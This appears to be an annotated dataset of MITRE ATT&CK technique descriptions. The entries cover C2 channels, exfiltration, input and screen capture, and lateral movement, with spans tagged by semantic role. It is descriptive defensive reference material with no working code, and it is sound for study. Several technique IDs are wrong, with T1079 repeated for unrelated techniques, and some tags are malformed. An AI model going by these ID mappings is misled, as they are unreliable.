**<procedure>**Adversaries may **<what>**use**<\what>** an **<where>**existing, legitimate external Web service**<\where>** as a means for **<why>**relaying commands to a compromised system**<\why>**.

These commands may also include pointers to command and control (C2) infrastructure. Adversaries may **<how>**post content, known as a dead drop resolver on Web services with embedded (and often obfuscated/encoded) domains or IP addresses**<\how>**. **<when>**Once **<condition>**infected**<\condition><\when>**, victims will reach out to and be redirected by these resolvers.

Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. **<what>**Using**<\what>** **<where>**common services, such as those offered by Google or Twitter**<\where>,** makes it easier for adversaries to **<why>**hide in expected noise**<\why>**. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed). **<\procedure>**

**<tactic>**Command And Control**<\tactic>**

**<TechniqueName>** Uncommonly Used Port**<\TechniqueName>**

**<id>** T1065 **<\id>**

**<procedure>**Adversaries may **<what>**conduct**<\what>** **<where>**C2 communications**<\where>** over a **<how>**non-standard port**<\how>** to **<why><what>**bypass**<\what>** **<where>**proxies**<\where>** and **<where>**firewalls**<\where><\why>** **<when>**that have been **<condition>**improperly configured**<\condition><\when><\procedure>**.

**<tactic>**Command And Control**<\tactic>**

**<TechniqueName>** Standard Non-Application Layer Protocol**<\TechniqueName>**

**<id>** T1095 **<\id>**

**<procedure><how>**Use of a standard non-application layer protocol**<\how>** for **<what>**communication**(communicate)<\what>** between **<where>**host and C2 server or among infected hosts**<\where>** within a network. The list of possible protocols is extensive. [1] Specific examples include **<how>**use of network layer protocols, such as the Internet Control Message Protocol (ICMP)**<\how>** **<how>**, transport layer protocols, such as the User Datagram Protocol (UDP) **<\how>**, **<how>**,session layer protocols, such as Socket Secure (SOCKS) **<\how>**, as well as **<how>**redirected/tunneled protocols, such as Serial over LAN (SOL) **<\how>**.

ICMP communication between hosts is one example. Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts; [2] however, it is **<when><condition>**not as commonly monitored**<\condition>** as other **<object>**Internet Protocols such as TCP or UDP**<\object>** **<\when>**and may be used by adversaries to **<why>**hide communications**<\why><\procedure>**.

**<tactic>**Command And Control**<\tactic>**

**<TechniqueName>** Standard Cryptographic Protocol**<\TechniqueName>**

**<id>** T1032 **<\id>**

**<procedure>**Adversaries may explicitly **<what>**employ**<\what>** a known **<where>**encryption algorithm**<\where>** to **<why>**conceal **<where>**command and control traffic**<\where><\why>** rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files. **<\procedure>**

**<tactic>**Command And Control**<\tactic>**

**<TechniqueName>** Standard Application Layer Protocol**<\TechniqueName>**

**<id>** T1071 **<\id>**

**<procedure>**Adversaries may communicate **<how>**using a common, standardized application layer protocol**<\how>** such as **<how>** using HTTP**<\how>**, **<how>** using HTTPS**<\how>**, **<how>** using SMTP**<\how>**, or **<how>** using DNS**<\how>** to **<why>**avoid detection**<\why>** by **<what>**blending**<\what>** in with **<where>**existing traffic**<\where >**. Commands to the remote system, and often the results of those commands, will be **<what>**embedded**<\what>** within the **<where>**protocol traffic**<\where>** between the client and server.

For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are RPC, SSH, or RDP**<\procedure>**.

**<tactic>**Command And Control**<\tactic>**

**<TechniqueName>** Remote File Copy**<\TechniqueName>**

**<id>** T1105 **<\id>**

**<procedure><where>**Files**<\where>** may be **<what>**copied**<\what>** from one system to another to **<why>**stage adversary tools or other files**<\why>** over the course of an operation. **<where>**Files**<\where>** may be **<what>**copied**<\what>** from an external adversary-controlled system through the **<how>**Command and Control channel**<\how>** to **<why>**bring tools into the victim network**<\why>** or through **<how>**alternate protocols with another tool**<\how>** such as **<how>**FTP**<\how>**. **<where>**Files**<\where>** can also be **<what>**copied **<\what>**over on **<how>**Mac and Linux with native tools**<\how>** like **<how>**scp**<\how>**, **<how>**rsync**<\how>**,and **<how>**sftp**<\how>**.

Adversaries may also **<what>**copy**<\what> <where>** files**<\where>** laterally between internal victim systems to support Lateral Movement with **<how>**remote Execution using inherent file sharing protocols such as file sharing over SMB**<\how>** to connected network shares or with **<how>**authenticated connections with Windows Admin Shares**<\how>** or **<how>**Remote Desktop Protocol**<\how><\procedure>**.

**<tactic>**Command And Control**<\tactic>**

**<TechniqueName>** Remote Access Tools**<\TechniqueName>**

**<id>** T1079 **<\id>**

**<procedure>**An adversary may **<what>**use**<\what>** legitimate **<where>**desktop support and remote access software**<\where>**, such as **<where>**Team Viewer**<\where>**, **<where>**Go2Assist**<\where>**, **<where>**LogMein**<\where>**, **<where>**, AmmyyAdminAmmyyAdmin **<\where>**, etc, to **<why>**establish an interactive command and control channel**<\why>** to target systems within networks. These services are commonly **<when>**used as **<object>**legitimate technical support software**<\object>**, and may be **<condition>**whitelisted**<\condition>** within a target environment**<\when>**. Remote access tools like VNC, Ammy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. [1]

Remote access tools may be **<what>**established**<\what>** and **<what>**used**<\what>** post-compromise as alternate **<where>**communications channel**<\where>** for **<why>**Redundant Access**<\why>** or as a way to **<why>**establish an interactive remote desktop session**<\why>** with the target system. They may also be used as a component of malware to **<why>**establish a reverse connection**<\why>** or **<why>**back-connect to a service or adversary controlled system**<\why><\procedure>**.

Admin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns. [2] [3]

**<tactic>** Defense Evasion, Persistence, Command And Control**<\tactic>**

**<TechniqueName>** Port Knocking**<\TechniqueName>**

**<id>** T1205 **<\id>**

**<procedure><where>**Port Knocking**<\where>** is a well-established method **<what>**used**<\what>** by both defenders and adversaries to **<why>**hide open ports from access**<\why>**. To **<why>**enable a port**<\why>**, an adversary **<what>**sends**<\what>** a series of **<where>**packets**<\where>** with certain characteristics before the port will be opened. Usually this series of packets consists of **<how>**attempted connections to a predefined sequence of closed ports**<\how>**, but can involve **<how>**unusual flags**<\how>**, **<how>**specific strings**<\how>** or other unique characteristics. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.

This technique has been observed to both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.

The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r [1], is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs**<\procedure>**.

**<tactic>**Command And Control**<\tactic>**

**<TechniqueName>** Multilayer Encryption**<\TechniqueName>**

**<id>** T1079 **<\id>**

**<procedure>**An adversary **<what>**performs**<\what>** **<where>**C2 communications**<\where>** **<how>**using multiple layers of encryption**<\how>**, typically (but not exclusively) **<how>**tunneling a custom encryption scheme within a protocol encryption scheme**<\how>** such as HTTPS or SMTPS. **<\procedure>**

**<tactic>**Command And Control**<\tactic>**

**<TechniqueName>** Multiband Communication**<\TechniqueName>**

**<id>** T1079 **<\id>**

**<procedure>**Some adversaries may **<what>**split**<\what>** **<where>**communications**<\where>** between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to **<why><what>**bypass**<\what>** certain **<where>**firewall restrictions**<\where><\why>**. The split could also be random to simply **<why><what>**avoid**<\what>** **<where>**data threshold alerts**<\where>** on any one communication**<\why><\procedure>**.

**<tactic>** Exfiltration**<\tactic>**

**<TechniqueName>** Scheduled Transfer**<\TechniqueName>**

**<id>** T1079 **<\id>**

**<procedure><where>**Data**<\where>** **<what>**exfiltration**<\what>** may be performed only at **<how>**certain times of day**<\how>** or at **<how>**certain intervals**<\how>**. This could be done to **<why>**blend traffic patterns with normal activity**<\why>** or availability

When scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as <**how\_alt**>Exfiltration Over Command and Control Channel<\**how\_alt**> and <**how\_alt**>Exfiltration Over Alternative Protocol<\**how\_alt**>**<\procedure>**.

**<tactic>** Exfiltration**<\tactic>**

**<TechniqueName>** Exfiltration Over Physical Medium**<\TechniqueName>**

**<id>** T1052 **<\id>**

**<procedure>**In certain circumstances, such as an air-gapped network compromise, **<what>**exfiltration**<\what>** could occur via a **<how>**physical medium or device introduced by a user**<\how>**. Such media could be an **<how>**external hard drive**<\how>**, **<how>**USB drive**<\how>**, **<how>**cellular phone**<\how>**, **<how>**MP3 player**<\how>**, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems**<\procedure>**.

**<tactic>** Exfiltration **<\tactic>**

**<TechniqueName>** Exfiltration Over Other Network Medium**<\TechniqueName>**

**<id>** T1011 **<\id>**

**<procedure>**Exfiltration could occur over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the **<what>**exfiltration**<\what>** may occur, for example, over a **<how>**WiFi connection**<\how>**, **<how>**modem**<\how>**, **<how>**cellular data connection**<\how>**, **<how>**Bluetooth**<\how>**, or another **<how>**radio frequency (RF) channel**<\how>**. Adversaries could choose to do this if they have **<when> <condition>**sufficient access or proximity**<\condition>**, and the **<object>**connection**<\object>** might **<condition>**not be secured or defended as well as the primary Internet-connected channel**<\condition><\when>** because it is not routed through the same enterprise network**<\procedure>**.

**<tactic>** Exfiltration**<\tactic>**

**<TechniqueName>** Exfiltration Over Command and Control Channel**<\TechniqueName>**

**<id>** T1041 **<\id>**

**<procedure><where>**Data**<\where>** **<what>**exfiltration**<\what>** is performed over the **<how>**Command and Control channel**<\how>**. **<where>**Data**<\where>** is **<what>**encoded**<\what>** into the normal communications channel using the **<how>**same protocol as command and control communications**<\how><\procedure>**.

**<tactic>** Collection**<\tactic>**

**<TechniqueName>** Video Capture**<\TechniqueName>**

**<id>** T1125 **<\id>**

**<procedure>**An adversary can **<what>**leverage**<\what>** a computer's **<where>**peripheral devices**<\where>** (e.g., **<where>**integrated cameras**<\where>** or **<where>**webcams**<\where>**)or **<where>**applications**<\where>** (e.g., **<where>**video call services**<\where>**)to **<why>**capture video recordings**<\why>** for the purpose of **<why>**gathering information**<\why>**. **<where>**Images**<\where>** may also be **<what>**captured**<\what>** from devices or applications, potentially in **<how>**specified intervals**<\how>**, in lieu of video files.

**<where>**Malware or scripts**<\where>** may be **<what>**used**<\what>** to interact with the devices through an **<how>**available API provided by the operating system or an application**<\how>** to **<why>**capture video or images**<\why>**. **<where>**Video**<\where>** or **<where>**imagefiles**<\where>** may be **<what>**written**<\what>** to disk and exfiltrated later. This technique differs from Screen Capture due to use of specific devices or applications for **<why>**video recording**<\why>** rather than capturing the victim's screen.

In macOS, there are a few different malware samples that **<what>**record**<\what>** the user's **<where>**webcam**<\where>** such as FruitFly and Proton**<\procedure>**. [1]

**<tactic>** Collection**<\tactic>**

**<TechniqueName>** Screen Capture**<\TechniqueName>**

**<id>** T1113 **<\id>**

**<procedure>**Adversaries may attempt to **<what>**take**<\what>** **<where>**screen captures**<\where>** of the **<attribute>**desktop**<\attribute>** to **<why>**gather information**<\why>** over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations.

Mac

On OSX, the **<where>**native command screencapture**<\where>** is **<what>**used**<\what>** to **<why>**capture screenshots**<\why><\procedure>**.

Linux

On Linux, there is the native command xwd. [1]

**<tactic>** Collection**<\tactic>**

**<TechniqueName>** Man in the Browser **<\TechniqueName>**

**<id>** T1185**<\id>**

**<procedure>**Adversaries can **<what>**take advantage**<\what>** of **<where>**security vulnerabilities**<\where>** and **<where>**inherent functionality**<\where>** in browser softwareto **<why>**change content, modify behavior, and intercept information**<\why>** as part of various man in the browser techniques. [1]

A specific example is when an adversary **<what>**injects**<\what>** **<where>**software**<\where>** into a **<attribute>**browser**<\attribute>** that allows an them to **<why>**inherit cookies**<\why>**, **<why>** inherit HTTP sessions**<\why>**, and **<why>** inherit SSL client certificates**<\why>** of a userand **<why>**use the browser as a way to pivot into an authenticated intranet**<\why>**. [2] [3]

**<when>**Browser pivoting requires the **<condition>**SeDebugPrivilege**<\condition>** and a **<condition>**high-integrity **<object>**process**<\object>** to execute**<\condition><\when>**. **<where>**Browser traffic**<\where>** is **<what>**pivoted**<\what>** from the adversary's browser through the user's browser by **<how>**setting up an HTTP proxy**<\how>** which will **<why>**redirect any HTTP and HTTPS traffic**<\why>**. This does not alter the user's traffic in any way. The proxy connection is severed as soon as the browser is closed. Whichever browser process the proxy is injected into, the adversary assumes the security context of that process. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could browse to any resource on an intranet that is accessible through the browser and which the browser has sufficient permissions, such as Sharepoint or webmail. Browser pivoting also eliminates the security provided by 2-factor authentication**<\procedure>**. [4]

**<tactic>** Collection**<\tactic>**

**<TechniqueName>** Input Capture **<\TechniqueName>**

**<id>** T1056**<\id>**

**<procedure>**Adversaries can use methods of **<what>**capturing**<\what>** **<where>**user input**<\where>** for **<why>**obtaining credentials**<\why>** for Valid Accounts and information Collection that include **<attribute>**keylogging**<\attribute>** and **<attribute>**user input field interception**<\attribute>**.

**<how>**Keylogging**<\how>** is the most prevalent type of input capture, with many different ways of **<what>**intercepting**<\what>** **<where>**keystrokes**<\where>**, [1] but other methods exist to target information for specific purposes, such as **<how>**performing a UAC prompt**<\how>** or **<how>**wrapping the Windows default credential provider**<\how>**. [2]

**<how>**Keylogging**<\how>** is likely to be used to **<what>**acquire**<\what>** **<where>**credentials**<\where>** for **<why>**new access opportunities**<\why>** when **<when><condition><object>**Credential**<\object>** Dumping efforts are not effective**<\condition>**, and may require an **<condition><object>**adversary**<\object>** to remain passive on a system for a period of time**<\condition><\when>** before an opportunity arises.

Adversaries may also **<what>**install**<\what>** **<where>**code**<\where>** on **<attribute>**externally facing portals**<\attribute>**, such as a **<attribute>**VPN login page**<\attribute>**, to **<why>**capture and transmit credentials of users**<\why>** who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through **<how\_alt>**External Remote Services**<\how\_alt>** and **<how\_alt>**Valid Accounts**<\how\_alt>** or as part of the initial compromise by exploitation of the externally facing web service**<\procedure>**. [3]

**<tactic>** Collection**<\tactic>**

**<TechniqueName>** Email Collection**<\TechniqueName>**

**<id>** T1114**<\id>**

**<procedure>**Adversaries may **<what>**target**<\what>** **<where>**user email**<\where>** to **<why>**collect sensitive information**<\why>** from a target.

**<what>**Files**<\what>** containing **<attribute>**email data**<\attribute>** can be **<what>**acquired**<\what>** from a user's system, such as **<how>**Outlook storage**<\how>** or **<how>**cache files .pst and .ost**<\how>**.

**<conjunctive>**Adversaries may **<what>**leverage**<\what>** a user's **<where>**credentials**<\where>** and **<what>**interact**<\what>** directly with the **<where>**Exchange server**<\where>** to **<why>**acquire information**<\why>** from within a network. **<\conjunctive>**

Some adversaries may **<what>**acquire**<\what>** **<where>**user credentials**<\where>** and **<what>**access**<\what>** externally facing **<where>**webmail applications**<\where>**, such as **<where>**Outlook Web Access**<\where><\procedure>**.

**<tactic>** Collection**<\tactic>**

**<TechniqueName>** Data Staged**<\TechniqueName>**

**<id>** T1074**<\id>**

**<procedure>**Collected **<where>**data**<\where>** is **<what>**staged**<\what>** in a **<attribute>**central location or directory**<\attribute>** prior to Exfiltration. **<where>**Data**<\where>** may be **<what>**kept**<\what>** in **<attribute>**separate files**<\attribute>** or **<what>**combined**<\what>** into **<attribute>**one file**<\attribute>** through techniques such as **<how>**Data Compressed**<\how>** or **<how>**Data Encrypted**<\how>**.

Interactive command shells may be used, and common functionality within cmd and bash may be used to **<what>**copy**<\what>** **<where>**data**<\where>** into a **<attribute>**staging location**<\attribute><\procedure>**.

**<tactic>** Execution, Lateral Movemnet**<\tactic>**

**<TechniqueName>** Windows Remote Management**<\TechniqueName>**

**<id>** T1028**<\id>**

**<procedure>**Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., **<what>**run**<\what>** an **<where>**executable**<\where>**, **<what>**modify**<\what>** the **<where>**Registry**<\where>**, **<what>**modify**<\what>** **<where>**services**<\where>**). [1] It may be called with the **<how>**winrm command**<\how>** or by any number of programs such as PowerShell**<\procedure>**. [2]

**<tactic>** Lateral Movemnet**<\tactic>**

**<TechniqueName>** Windows Admin Shares**<\TechniqueName>**

**<id>** T1077**<\id>**

**<procedure>**Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include C$, ADMIN$, and IPC$.

Adversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over server message block (SMB) [1] to interact with systems using remote procedure calls (RPCs), [2] **<what>**transfer**<\what>** **<where>**files**<\where>**, and **<what>**run**<\what>** transferred **<where>**binaries**<\where>** through **<how>**remote Execution**<\how>**. Example execution techniques that rely on **<when><condition>**authenticated **<object>**sessions**<\object><\condition><\when>** over SMB/RPC are **<how>**Scheduled Task**<\how>**, **<how>**Service Execution**<\how>**, and **<how>**Windows Management Instrumentation**<\how>**. Adversaries can also **<how>**use NTLM hashes**<\how>** to **<what>**access**<\what>** **<where>**administrator shares**<\where>** on systems with **<how>**Pass the Hash**<\how>** and certain configuration and patch levels. [3]

The Net utility can be used to **<what>**connect**<\what>** to **<where>**Windows admin shares**<\where>** on remote systems using **<how>**net use commands**<\how>** with **<when><condition>**valid **<\condition><object>**credentials**<\object><\when><\procedure>**. [4]

**<tactic>** Execution, Lateral Movement **<\tactic>**

**<TechniqueName>** Third-party Software**<\TechniqueName>**

**<id>** T1072**<\id>**

**<procedure>**Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, VNC, HBSS, Altiris, etc.). **<when>**If an adversary **<condition>**gains access**<\condition>**, to these **<object>**systems**<\object><\when>**then they may be able to **<what>**execute**<\what>** **<where>**code**<\where>**.

Adversaries may gain access to and use third-party application deployment systems installed within an enterprise network. **<when><condition>**Access to a network-wide or enterprise-wide **<\condition><object>**software deployment system**<\object><\when>** enables an adversary to have remote **<where>**code**<\where>** **<what>**execution**<\what>** on all systems that are connected to such a system. The access may be used to **<why>**laterally move to systems**<\why>**, **<why>**gather information**<\why>**, or cause a specific effect, such as **<why>**wiping the hard drives on all endpoints**<\why>**.

The permissions required for this action vary by system configuration; **<when><condition>**local credentialsmay be sufficient with direct access**<\condition>** to the **<object>**deployment server**<\object><\when>**, or **<when><condition>**specific domain credentials may be required**<\condition><\when>**. However, **<when>**the system may require an **<condition><object>**administrative account**<\object>** to log in or to perform software deployment**<\condition><\when><\procedure>**.

**<tactic>** Lateral Movement **<\tactic>**

**<TechniqueName>** Taint Shared Content**<\TechniqueName>**

**<id>** T1080**<\id>**

**<procedure>**Content stored on network drives or in other **<where>**shared locations**<\where>** may be **<what>**tainted**<\what>** by **<how><what>**adding**<\what>** <where> malicious programs**<\where>**, **<where >**scripts**<\where>**, or **<where>**exploit code**<\where><\how>** to otherwise valid files. **<when>**Once a user **<condition>**opens the shared tainted content**<\condition><\when>**, the malicious portion can be executed to run the adversary's code on a remote system.

%use this for word embedding

Adversaries may <what>use<\what> tainted shared content to **<why>**move laterally**<\why>**.

A directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It <what> uses <where> Shortcut Modification of directory <attribute>.LNK files <.attribute></where> that <what>use <\what><where>Masquerading <\where><why>to look like the real directories, which are hidden <\why> through <how> Hidden Files and Directories<how>. The malicious .LNK-based directories have an **<how>**embedded command**<\how>** that **<what>**executes**<\what>** the hidden **<where>**malware file**<\where>** in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts**<\procedure>**. [1]

**<tactic>** Lateral Movement **<\tactic>**

**<TechniqueName>** SSH Hijacking**<\TechniqueName>**

**<id>** T1184**<\id>**

**<procedure>**Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.

In order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by **<what>**hijacking**<\what>** an **<where>**existing connection**<\where>** to another system. This may occur through **<how>**compromising the SSH agent**<\how>** itself or by **<how>**having access to the agent's socket**<\how>**. **<when>**If an adversary is able to **<condition>**obtain root access**<\condition> <\when>,** then hijacking SSH sessions is likely trivial. [1] [2] [3] Compromising the SSH agent also provides access to intercept SSH credentials. [4]

SSH Hijacking differs from use of Remote Services because it injects into an existing SSH session rather than creating a new session using Valid Accounts**<\procedure>**.

<tactic> Lateral Movement <\tactic>

<TechniqueName> Shared Webroot<\TechniqueName>

<id> T1051<\id>

**<procedure><conjunctive>**Adversaries may **<what>**add**<\what>** malicious **<where>**content**<\where>** to an internally accessible website through an **<how>**open network file share**<\how>** **<when>**that **<condition>**contains the website's webroot or Web content directory**<\condition><\when>** [1] [2] and then **<what>**browse**<\what>** to that **<where>**content**<\where>** with a **<how>**Web browser**<\how>** to cause the server to **<why>**execute the malicious content**<\why><\conjunctive>**. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.

This mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to **<what>**upload**<\what>** a **<where>**remote access tool**<\where>** and **<where>**PHP script**<\where>** to **<why>**execute the RAT on the system running the Web server**<\why>** **<when>**when a **<object>**specific page**<\object>** **<condition>**is visited**<\condition>**. **<\when><\procedure>** [3]

**<tactic>** Lateral Movement, Initial Access **<\tactic>**

**<TechniqueName>** Replication Through Removable Media**<\TechniqueName>**

**<id>** T1091**<\id>**

**<procedure>**Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by **<what>**copying**<\what>** **<where>**malware**<\where>** to **<attribute>**removable media**<\attribute>** and **<what>**taking advantage**<\what>** of **<where>**Autorun features**<\where>** when the **<when><object>**media**<\object>** is **<condition>**inserted into a system and executes**<\condition><\when>**. In the case of Lateral Movement, this may occur through **<what>**modification**<\what>** of **<where>**executable files**<\where>** stored on **<attribute>**removable media**<\attribute>** or by **<conjunctive><what>**copying**<\what>** **<where>**malware**<\where>** and **<what>**renaming**<\what>** it to look like a legitimate file to **<why>**trick users into executing it**<\why>** on a separate system**<\conjunctive>**. In the case of Initial Access, this may occur through manual **manipulation of the media**, modification of systems used to initially **format the media**, or **modification to the media's firmware** itself**<\procedure>**.

**<tactic>** Lateral Movement **<\tactic>**

**<TechniqueName>** Remote Services**<\TechniqueName>**

**<id>** T1021**<\id>**

**<procedure>**An adversary may **<what>**use**<\what>** **<where>**Valid Accounts**<\where>** to **<why>**log into a service**<\why>** specifically designed to **<when><condition>**accept remote **<\condition>**, **<object>**connections**<\object><\when>**, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user**<\procedure>**.